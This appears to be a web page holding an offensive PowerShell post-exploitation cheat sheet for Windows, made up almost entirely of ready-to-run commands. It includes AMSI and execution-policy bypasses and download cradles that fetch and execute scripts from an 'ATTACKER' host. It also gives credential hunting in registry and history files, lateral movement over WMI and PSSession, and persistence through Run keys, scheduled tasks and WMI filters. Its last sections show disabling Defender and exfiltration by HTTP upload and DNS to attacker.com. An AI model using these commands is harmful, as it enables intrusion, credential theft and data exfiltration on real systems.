PowerShell is the native offensive language on Windows. Deep OS integration, .NET access, and living-off-the-land capability make it indispensable for post-exploitation.
Execution Policy Bypass Set-ExecutionPolicy Bypass -Scope Process -Force powershell -ExecutionPolicy Bypass -File script.ps1 powershell -ep bypass -c "IEX ..." $cmd = 'Get-Process' $b64 = [Convert ]::ToBase64String([Text.Encoding ]::Unicode.GetBytes($cmd )) powershell -enc $b64 Get-ExecutionPolicy -List
AMSI Bypass AMSI (Antimalware Scan Interface) intercepts script content before execution:
[Ref ].Assembly.GetType('System.Management.Automation.AmsiUtils' ).GetField('amsiInitFailed' ,'NonPublic,Static' ).SetValue($null ,$true )$a =[Ref ].Assembly.GetType('System.Management.Automation.AmsiUtils' )$b =$a .GetField('amsiSession' ,'NonPublic,Static' )$b .SetValue($null ,$null )sET-ItEM ( 'V' +'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE ]( "{1}{0}" -F 'F' ,'rE' ) ) ; ...
Download Cradles IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1' )iex (iwr 'http://ATTACKER/script.ps1' -UseBasicParsing ).Content [System.Net.ServicePointManager ]::ServerCertificateValidationCallback = {$true }IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/script.ps1' ) (New-Object Net.WebClient).DownloadFile('http://ATTACKER/tool.exe' , 'C:\temp\tool.exe' )Invoke-WebRequest -Uri 'http://ATTACKER/tool.exe' -OutFile 'C:\temp\tool.exe' Start-BitsTransfer -Source 'http://ATTACKER/file.exe' -Destination 'C:\temp\file.exe' \\ATTACKER_IP\share\tool.exe certutil -urlcache -split -f http://ATTACKER/tool.exe C:\temp\tool.exe
System Enumeration $env:COMPUTERNAME $env:USERNAME $env:USERDOMAIN [System.Environment ]::OSVersionGet-WmiObject Win32_OperatingSystem | Select-Object Caption,Version,BuildNumberGet-WmiObject Win32_ComputerSystem | Select-Object Domain,Workgroup,PartOfDomainGet-LocalUser Get-LocalGroup Get-LocalGroupMember Administrators ipconfig /allGet-NetIPAddress Get-NetRoute Get-NetNeighbor netstat -ano Get-NetTCPConnection | Where-Object State -eq EstablishedGet-Process Get-Process | Sort-Object CPU -Descending | Select-Object -First 20 Get-WmiObject Win32_Process | Select-Object Name,ProcessId,ParentProcessId,CommandLineGet-Service | Where-Object Status -eq RunningGet-WmiObject Win32_Service | Select-Object Name,State,PathName,StartNameGet-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName,DisplayVersion,PublisherGet-ScheduledTask | Where-Object State -ne Disabled | Select-Object TaskName,TaskPath schtasks /query /fo LIST /vGet-NetFirewallRule | Where-Object Enabled -eq True | Select-Object DisplayName,Direction,Action netsh advfirewall show currentprofileGet-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20
Active Directory Enumeration (Native) [System.DirectoryServices.ActiveDirectory.Domain ]::GetCurrentDomain() (Get-ADDomain ).DNSRoot nltest /dclist:(Get-ADDomain ).Name net user /domainGet-ADUser -Filter * -Properties * | Select-Object SamAccountName,Enabled,PasswordLastSet,DescriptionGet-ADGroup -Filter * | Select-Object Name,GroupScope,GroupCategoryGet-ADGroupMember "Domain Admins" | Select-Object SamAccountNameGet-ADComputer -Filter * -Properties OperatingSystem | Select-Object Name,OperatingSystem,LastLogonDateGet-ADUser -Filter {ServicePrincipalName -ne "$null " } -Properties ServicePrincipalName | Select-Object SamAccountName,ServicePrincipalNameGet-ADUser -Filter {DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth | Select-Object SamAccountNameGet-ADDefaultDomainPasswordPolicy Get-ADTrust -Filter * | Select-Object Name,TrustType,Direction
PowerView (PowerSploit) Import-Module .\PowerView.ps1IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' )Get-Domain Get-DomainController Get-DomainPolicy (Get-DomainPolicy )."system access" Get-DomainUser | Select-Object samaccountname,description,pwdlastsetGet-DomainUser -SPN Get-DomainUser -PreauthNotRequired Get-DomainGroup "Domain Admins" Get-DomainGroupMember "Domain Admins" -Recurse Get-DomainGroup -AdminCount Get-DomainComputer -Properties Name,OperatingSystem,LastLogonDateGet-DomainComputer -Unconstrained Find-DomainShare -CheckShareAccess Find-InterestingDomainShareFile Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs Find-InterestingDomainAcl Find-LocalAdminAccess Get-NetLocalGroupMember -ComputerName target Get-NetSession -ComputerName DC Find-DomainUserLocation -UserGroupIdentity "Domain Admins"
Credential Access cmdkey /list [System.Net.CredentialCache ]::DefaultNetworkCredentialsGet-ChildItem C:\unattend.xml,C:\sysprep.inf,C:\sysprep\sysprep.xml -ErrorAction SilentlyContinueGet-ChildItem -Path C:\ -Include *unattend*,*sysprep* -Recurse -ErrorAction SilentlyContinueGet-ChildItem -Path C:\inetpub -Include web.config -Recurse | Get-Content Get-Content (Get-PSReadlineOption ).HistorySavePathGet-Content C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s reg query HKLM /f password /t REG_SZ /s findstr /si password *.txt *.ini *.xml *.configGet-ChildItem -Recurse -Include *.txt,*.ini,*.xml | Select-String -Pattern "password"
Lateral Movement Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName target -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -Credential $cred $cred = Get-Credential Invoke-WmiMethod Win32_Process -Name Create -ComputerName TARGETIP -ArgumentList "notepad.exe" -Credential $cred $sess = New-PSSession -ComputerName target -Credential $cred Invoke-Command -Session $sess -ScriptBlock { whoami }Enter-PSSession -ComputerName target -Credential $cred Invoke-Command -ComputerName target -Credential $cred -ScriptBlock { Get-Process }Copy-Item -Path C:\local\file.exe -Destination C:\remote\ -ToSession $sess
Persistence New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run ` -Name "Update" -Value "powershell -WindowStyle Hidden -enc BASE64_PAYLOAD" $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-enc BASE64" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -RunLevel Highest$payload = 'powershell -enc BASE64' Set-Content "$env:APPDATA \Microsoft\Windows\Start Menu\Programs\Startup\update.bat" $payload $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @ { Name = "PersistFilter" EventNamespace = "root/cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12" }
Data Collection & Exfil Add-Type -AssemblyName System.Windows.Forms$bmp = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen ]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen ]::PrimaryScreen.Bounds.Height)$g = [System.Drawing.Graphics ]::FromImage($bmp )$g .CopyFromScreen(0 ,0 ,0 ,0 ,$bmp .Size)$bmp .Save("C:\temp\screen.png" )Compress-Archive -Path C:\sensitive\ -DestinationPath C:\temp\data.zip (New-Object Net.WebClient).UploadFile('http://ATTACKER/upload' , 'C:\temp\data.zip' )$data = [Convert ]::ToBase64String([Text.Encoding ]::UTF8.GetBytes("secret data" ))Resolve-DnsName "$data .attacker.com"
Useful One-liners ([Security.Principal.WindowsPrincipal ][Security.Principal.WindowsIdentity ]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole ]::Administrator) whoami /privGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollectionsSet-MpPreference -DisableRealtimeMonitoring $true Add-MpPreference -ExclusionPath "C:\temp" (Get-WmiObject SoftwareLicensingService).OA3xOriginalProductKeyTest-NetConnection -ComputerName DC_IP -Port 445 Test-NetConnection -ComputerName 8.8 .8.8 -Port 53
No comments yet. Be the first.